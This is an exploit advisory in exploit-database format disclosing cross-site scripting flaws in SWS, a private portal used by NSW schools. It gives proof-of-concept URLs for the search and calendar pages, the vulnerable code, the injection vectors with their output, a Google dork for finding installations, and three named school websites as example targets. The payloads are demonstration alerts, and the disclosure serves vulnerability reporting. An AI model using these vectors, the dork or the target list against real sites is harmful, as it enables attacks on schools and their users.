=============================================================== = # Exploit Title: SWS - Cross Site Scripting vulnerabilities = = # Date: 23/04/2012 = = # Author: Phizo = = # Manufacturer: www.schoolwebsitesolutions.com = = # Version: Latest (Private software, no version number) = = # Category: webapps = = # Google dork: inurl:schools.nsw.edu.au/sws/ = = # Tested on: Windows 7 & Ubuntu 10.04 - (Firefox 11.0) = =============================================================== [+] Information: SWS is a private portal software created for NSW schools only, hence why I could not gather details such as the version of the software. Multiple XSS vulnerabilities will be shown to show the insecurity of the portal software. [+] Details: ======== Search -- (Value contained within script tags) ======== # PoC: http://victim/search?search=[XSS] # Vulnerable code: a.execute("VALUE"); -- VALUE is the value of user input. # Vector used: '); alert("XSS"); (' # Output: a.execute("");alert("XSS");(""); ========== Calendar ========== # PoC: http://victim/calendar?p_p_col_count=3&p_p_col_id=column-1&p_p_col_pos=2&p_p_id=eppvanillacalendarportlet_WAR_eppvanilladefaultportlet&p_p_lifecycle=0&p_p_mode=view&p_p_state=normal&startdate=23-3-2012">[XSS] # Vulnerable code: (multiple hyperlinks, however I will provide one). <a href="http://victim/calendar?p_p_id=eppvanillacalendarportlet_WAR_eppvanilladefaultportlet&p_p_lifecycle=0&p_p_state=normal&p_p_mode=view&p_p_col_id=column-1&p_p_col_count=1&startdate=23-3-2012&print=true" target="_blank" class="printmonth">Print this page</a> # Vector used: "><script>alert("XSS")</script> # Output: <a href="http://victim/calendar?p_p_id=eppvanillacalendarportlet_WAR_eppvanilladefaultportlet&p_p_lifecycle=0&p_p_state=normal&p_p_mode=view&p_p_col_id=column-1&p_p_col_count=1&startdate=23-3-2012"><script>alert("XSS")</script>&print=true" target="_blank" class="printmonth">Print this page</a> [+] Example sites: http://www.cook-s.schools.nsw.edu.au/ http://www.lawrenceha-s.schools.nsw.edu.au/ http://www.parameadow-s.schools.nsw.edu.au/